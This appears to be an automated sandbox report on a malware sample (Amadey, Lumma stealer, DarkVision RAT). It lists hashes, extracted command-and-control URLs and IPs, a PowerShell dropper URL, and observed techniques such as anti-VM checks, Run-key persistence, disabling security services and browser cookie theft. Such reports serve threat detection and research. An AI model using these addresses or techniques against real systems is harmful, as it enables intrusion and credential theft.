amadey | 16b64046640bb6230c3bf41bdebb18224781fef9f2225bc30b82a063b1ed3fa8

Analysis

max time kernel
277s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2025, 10:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

random.exe
Size

6.1MB
MD5

5a0c7d37859d3542f6772b9ef5ee5cf8
SHA1

27b53f77c9f99b87c6f9b1908310a5e2d73d1a79
SHA256

16b64046640bb6230c3bf41bdebb18224781fef9f2225bc30b82a063b1ed3fa8
SHA512

d2aa0be1f1cf059aaba9d3770c515f8be68698d7f631d321662feab5eae93996c9b4d23b862d7e59065701914498c9a92f1a687b302380dc56b9bc056b7fdc0a
SSDEEP

98304:zN9nbWR9YW1UZPiPQHMP6sYv15XNcDNwKmzyVyrooaCs3TOJ1yC/nCjlHI8GpHCz:HY9YO+PiPpY3NONweCZ/ycPBCvJ9F8

Score

10^/10

amadey darkvision lumma 092155 credential_access defense_evasion discovery execution exploit persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://pepperiop.digital/oage

https://jrxsafer.top/shpaoz

https://6plantainklj.run/opafg

https://gpuerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://plantainklj.run/opafg

https://puerrogfh.live/iqwez

https://.ywmedici.top/noagis

https://cosmosyf.top/GOsznj

https://yjrxsafer.top/shpaoz

https://krxspint.digital/kendwz

https://rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://xrfxcaseq.live/gspaz

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

Extracted

Family

darkvision

82.29.67.160

Attributes

url
http://107.174.192.179/data/003

https://grabify.link/ZATFQO

http://107.174.192.179/clean
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
DarkVision Rat
DarkVision Rat is a trojan written in C++.
rat darkvision
Darkvision family
darkvision
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 8912 created 3628	8912	aspnet_compiler.exe	56
PID 8912 created 3628	8912	aspnet_compiler.exe	56
PID 9120 created 2672	9120	MSBuild.exe	44

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 14 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9a63f1a378.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	322dd7b2d9.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8eee621e57.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	7596477f77.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2cbbe7803d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	707281e29a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1P22P6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2i0393.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
240	5892	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5892	powershell.exe
3652	powershell.exe
6476	powershell.exe
212	powershell.exe
7192	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 25 IoCs

flow	pid	Process
34	4768	rapes.exe
34	4768	rapes.exe
34	4768	rapes.exe
34	4768	rapes.exe
88	4768	rapes.exe
88	4768	rapes.exe
254	4768	rapes.exe
255	7144	svchost.exe
345	4768	rapes.exe
345	4768	rapes.exe
345	4768	rapes.exe
345	4768	rapes.exe
345	4768	rapes.exe
384	7524	futors.exe
384	7524	futors.exe
426	7524	futors.exe
240	5892	powershell.exe
238	4768	rapes.exe
264	4768	rapes.exe
264	4768	rapes.exe
264	4768	rapes.exe
264	4768	rapes.exe
338	4768	rapes.exe
348	7524	futors.exe
410	7524	futors.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
6796	takeown.exe
6788	icacls.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ZzybiN_6632\ImagePath = "\\??\\C:\\Windows\\Temp\\ZzybiN_6632.sys"	tzutil.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 3 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
10216	chrome.exe
10512	chrome.exe
7468	chrome.exe

Checks BIOS information in registry 2 TTPs 30 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	322dd7b2d9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2cbbe7803d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2i0393.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	269f4c57f2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8eee621e57.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	269f4c57f2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2cbbe7803d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1P22P6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9a63f1a378.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	322dd7b2d9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9a63f1a378.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	707281e29a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	707281e29a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1P22P6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2i0393.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7596477f77.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8eee621e57.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7596477f77.exe

Checks computer location settings 2 TTPs 10 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	272.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	futors.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	b31f75b50d.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	1P22P6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	larBxd7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	amnew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	4cc6558e87.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	272.exe

Deletes itself 1 IoCs

pid	Process
5192	w32tm.exe

Executes dropped EXE 56 IoCs

pid	Process
4504	x2T29.exe
2164	1P22P6.exe
4768	rapes.exe
4584	2i0393.exe
4372	VrQSuEQ.exe
3404	5uMVCoG.exe
388	11d3255062.exe
2356	9a63f1a378.exe
4820	269f4c57f2.exe
4296	8af7805d2d.exe
3204	rapes.exe
1904	4cc6558e87.exe
1840	272.exe
2572	272.exe
4900	16f4ede35a.exe
4800	725556dd67.exe
4560	rapes.exe
5652	c9c2562d45.exe
6592	Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
5688	322dd7b2d9.exe
6740	VrQSuEQ.exe
7072	UZPt0hR.exe
7656	RYZusWg.exe
952	n0hEgR9.exe
6196	rapes.exe
6632	tzutil.exe
5192	w32tm.exe
4720	IsValueCreated.exe
6500	mTk60rz.exe
2836	ZSoeRVBe.exe
11680	LJl8AAr.exe
12848	larBxd7.exe
13096	Jordan.com
6716	qhjMWht.exe
2000	5uMVCoG.exe
2308	6a6a40f5.exe
7356	amnew.exe
7524	futors.exe
5464	8eee621e57.exe
536	v7942.exe
3164	rapes.exe
4756	futors.exe
5204	alex12312321.exe
8092	Rm3cVPI.exe
6544	legendarik.exe
8336	7596477f77.exe
5804	b31f75b50d.exe
9220	crypted.exe
9164	TbV75ZR.exe
9404	9sWdA2p.exe
9472	2cbbe7803d.exe
9820	svchost015.exe
9664	707281e29a.exe
10304	YMauSAr.exe
10916	javaplatform_update.exe
11136	35b4c712c5.exe

Identifies Wine through registry keys 2 TTPs 14 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	707281e29a.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	2i0393.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	322dd7b2d9.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	8eee621e57.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	7596477f77.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	1P22P6.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	9a63f1a378.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	2cbbe7803d.exe

Loads dropped DLL 47 IoCs

pid	Process
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe
2836	ZSoeRVBe.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6796	takeown.exe
6788	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2cbbe7803d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10053180101\\2cbbe7803d.exe"	futors.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\707281e29a.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10053190101\\707281e29a.exe"	futors.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	x2T29.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9a63f1a378.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10476510101\\9a63f1a378.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\269f4c57f2.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10476520101\\269f4c57f2.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4cc6558e87.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10476540101\\4cc6558e87.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	random.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8af7805d2d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10476530101\\8af7805d2d.exe"	rapes.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
442	ipinfo.io
443	ipinfo.io
439	ip-api.com

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000d0000000227c1-128.dat	autoit_exe
behavioral1/files/0x0002000000023415-1335.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
11956	tasklist.exe
12040	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs

pid	Process
2164	1P22P6.exe
4768	rapes.exe
4584	2i0393.exe
2356	9a63f1a378.exe
3204	rapes.exe
4560	rapes.exe
6592	Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
5688	322dd7b2d9.exe
6196	rapes.exe
5464	8eee621e57.exe
3164	rapes.exe
8336	7596477f77.exe
9472	2cbbe7803d.exe
9664	707281e29a.exe

Suspicious use of SetThreadContext 16 IoCs

description	pid	Process	procid_target
PID 4372 set thread context of 5532	4372	VrQSuEQ.exe	105
PID 3404 set thread context of 1612	3404	5uMVCoG.exe	109
PID 388 set thread context of 1504	388	11d3255062.exe	111
PID 6740 set thread context of 6708	6740	VrQSuEQ.exe	229
PID 952 set thread context of 5004	952	n0hEgR9.exe	243
PID 4720 set thread context of 8912	4720	IsValueCreated.exe	254
PID 11680 set thread context of 11792	11680	LJl8AAr.exe	256
PID 8912 set thread context of 2400	8912	aspnet_compiler.exe	273
PID 2000 set thread context of 6940	2000	5uMVCoG.exe	277
PID 536 set thread context of 452	536	v7942.exe	286
PID 6544 set thread context of 6824	6544	legendarik.exe	306
PID 8912 set thread context of 5592	8912	aspnet_compiler.exe	308
PID 9220 set thread context of 9212	9220	crypted.exe	313
PID 9164 set thread context of 9120	9164	TbV75ZR.exe	317
PID 9472 set thread context of 9820	9472	2cbbe7803d.exe	323
PID 9664 set thread context of 0	9664	707281e29a.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	6a6a40f5.exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\133.0.6943.60\debug.log	chrome.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\futors.job	amnew.exe
File opened for modification	C:\Windows\PolarRail	b31f75b50d.exe
File opened for modification	C:\Windows\GentleOklahoma	larBxd7.exe
File opened for modification	C:\Windows\CongressJvc	b31f75b50d.exe
File opened for modification	C:\Windows\DealersFocuses	b31f75b50d.exe
File opened for modification	C:\Windows\LocksWisconsin	b31f75b50d.exe
File opened for modification	C:\Windows\LimeNirvana	b31f75b50d.exe
File opened for modification	C:\Windows\ExceedExec	b31f75b50d.exe
File opened for modification	C:\Windows\LowerOrgasm	larBxd7.exe
File opened for modification	C:\Windows\ZuMiller	b31f75b50d.exe
File opened for modification	C:\Windows\MadnessSet	b31f75b50d.exe
File opened for modification	C:\Windows\NewcastlePeripherals	b31f75b50d.exe
File opened for modification	C:\Windows\DependMedication	b31f75b50d.exe
File opened for modification	C:\Windows\AmongDouble	larBxd7.exe
File opened for modification	C:\Windows\ModularVol	larBxd7.exe
File opened for modification	C:\Windows\SyntheticLil	b31f75b50d.exe
File opened for modification	C:\Windows\AucklandChef	b31f75b50d.exe
File opened for modification	C:\Windows\AndorraPrint	b31f75b50d.exe
File created	C:\Windows\Tasks\rapes.job	1P22P6.exe
File opened for modification	C:\Windows\GovernmentalOttawa	larBxd7.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6720	sc.exe
7172	sc.exe
6352	sc.exe
6332	sc.exe
6988	sc.exe
6936	sc.exe
7096	sc.exe
7128	sc.exe
7516	sc.exe
6536	sc.exe
6768	sc.exe
7060	sc.exe
7148	sc.exe
7224	sc.exe
4368	sc.exe
6812	sc.exe
7192	sc.exe
4364	sc.exe
6504	sc.exe
6464	sc.exe
6268	sc.exe
6660	sc.exe
6280	sc.exe
6756	sc.exe
7080	sc.exe
3872	sc.exe
7604	sc.exe
6412	sc.exe
6380	sc.exe
6708	sc.exe
7552	sc.exe
6676	sc.exe
7004	sc.exe
7040	sc.exe
6964	sc.exe
224	sc.exe
6780	sc.exe
6476	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4924	5464	WerFault.exe	281
9008	9120	WerFault.exe	317

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	8af7805d2d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7596477f77.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b31f75b50d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4cc6558e87.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8eee621e57.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1P22P6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Jordan.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9sWdA2p.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qhjMWht.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6a6a40f5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2cbbe7803d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	8af7805d2d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rm3cVPI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	707281e29a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	x2T29.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	YMauSAr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
